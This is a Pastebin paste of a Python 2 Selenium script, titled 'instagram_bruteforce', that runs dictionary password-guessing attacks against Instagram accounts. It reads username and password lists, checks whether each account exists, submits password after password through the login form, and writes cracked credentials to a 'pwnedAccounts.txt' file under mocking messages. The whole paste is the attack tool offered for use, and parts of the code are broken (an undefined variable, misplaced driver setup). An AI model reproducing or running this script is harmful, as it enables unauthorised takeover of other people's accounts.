Advertisement
Lulz-Tigre

instagram_bruteforce

Jul 7th, 2016
878
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.43 KB | None | 0 0
  1. Valid for 3hrs then it goes priv778888887888888
  2.  
  3. #!/bin/python
  4. from mainLib import *
  5. from time import sleep
  6. from selenium import webdriver
  7. from selenium.webdriver.common.keys import Keys
  8. import simplejson as json
  9. import sys
  10. import optparse
  11.  
  12. profile = webdriver.FirefoxProfile()
  13. profile.set_preference("general.useragent.override", "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.76 Safari/537.36")
  14. driver = "reserved"
  15.  
  16. def userExists(username):
  17.     try:
  18.         driver.get("https://instagram.com/"+username)
  19.         assert (("Page Not Found" or "no encontrada") not in driver.title)
  20.     except AssertionError:
  21.         print 'user: "%s" does not exist, trying with the next!' %username
  22.         return 1
  23.     except:
  24.         'uknown error'
  25.  
  26. def login(user, password, delay):
  27.     try:
  28.         print 'Trying with password: ' + password
  29.         elem = driver.find_element_by_name("username")
  30.         elem.clear()
  31.         elem.send_keys(user)
  32.         elem = driver.find_element_by_name("password")
  33.         elem.clear()
  34.         elem.send_keys(password)  
  35.         elem.send_keys(Keys.RETURN)
  36.         sleep(delay)
  37.         assert (("Login") in driver.title)
  38.         #assert (("Your username or password was incorrect" or "son incorrectos.") not in driver.page_source)
  39.         #if driver.current_url == 'https://www.instagram.com/':
  40.         #   print 'Password correct!'
  41.         #   print '%s' %password
  42.         #else:
  43.         #   print 'Wrong password'
  44.     except AssertionError:
  45.         print 'Access granted mother kaker!!'
  46.         print 'The password is: ' + password
  47.         try:
  48.             f = open('pwnedAccounts.txt','a')
  49.         except:
  50.             f = open('pwnedAccounts.txt','w')
  51.         f.write('username:'+user+'\npassword:'+password+'\n')
  52.         f.close()
  53.         driver.delete_all_cookies()
  54.         return 1
  55.     except:
  56.         print "\r Check your connection to the internet mother kaker\r"
  57.  
  58. def dictionaryAttack(usernames,passwords,delay):
  59.     if str(type(usernames)) == "<type 'list'>":
  60.         for username in usernames:
  61.             if (userExists(username) == 1):
  62.                 continue
  63.             driver.get("https://instagram.com/accounts/login/")
  64.             sleep(delay * 7)
  65.             print 'Trying with username: ' + username
  66.             for password in passwords:
  67.                 if (login(username,password,delay) == 1):
  68.                     cj.clear()
  69.                     break
  70.     else:
  71.         if (userExists(usernames) == 1):
  72.             return
  73.         driver.get("https://instagram.com/accounts/login/")
  74.         sleep(delay * 7)
  75.         print 'Trying with username: ' + usernames
  76.         for password in passwords:
  77.             if (login(usernames,password,delay) == 1):
  78.                 break
  79. def main():
  80.     parser = optparse.OptionParser()
  81.     parser.add_option('-f', '--file', action="store", dest="userfile", help="File containing valid usernames (one per line)", default=False)
  82.     parser.add_option('-d', '--dictionary', action="store", dest="dictionary", help="File containing passwords", default=False)
  83.     parser.add_option('-u', '--username', action="store", dest="username", help="A valid username", default=False)
  84.     parser.add_option('-t', '--time', action="store", dest="delay", help="delay in seconds. Use this option based on your connection speed", default=True)
  85.     options, args = parser.parse_args()
  86.  
  87.     global driver
  88.  
  89.     if (options.delay is None):
  90.         delay = 2
  91.     else:
  92.         delay = int(options.delay)
  93.     print 'Using %d seconds of delay' %delay
  94.  
  95.     if ( (options.userfile == False) and (options.username == False) ) :
  96.         print 'You have to set an username or a userfile'
  97.         exit()
  98.     if ( (options.userfile != False) and (options.username != False) ) :
  99.         print 'You can\'t set both options at once.. choose between username or userfile'
  100.         exit()
  101.     if (options.dictionary == False):
  102.         print 'You have to set a valid path for the passwords dictionary'
  103.         exit()
  104.  
  105.     try:
  106.         f = open(options.dictionary,'r')
  107.         passwords = []
  108.  
  109.         while True:
  110.             line = f.readline()
  111.             if not line:
  112.                 break
  113.             passwords.append(line.strip('\n'))
  114.         f.close()
  115.     except:
  116.         print 'Check the path to the dictionary and try again'
  117.         exit()
  118.  
  119.     if (options.userfile != False):
  120.         try:
  121.             f = open(options.userfile,'r')
  122.             usernames = []
  123.  
  124.             while True:
  125.                 line = f.readline()
  126.                 if not line:
  127.                     break
  128.                 usernames.append(line.strip('\n'))
  129.             f.close()
  130.         except:
  131.             print 'Check the path to the users file and try again'
  132.             exit()
  133.            
  134.             driver = webdriver.Firefox(profile)
  135.             driver.implicitly_wait(30)
  136.         dictionaryAttack(usernames,passwords,delay)
  137.     else:
  138.             driver = webdriver.Firefox(profile)
  139.             driver.implicitly_wait(30)
  140.         dictionaryAttack(options.username,passwords,delay)
  141.  
  142.     driver.close()
  143. if __name__ == '__main__':
  144.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement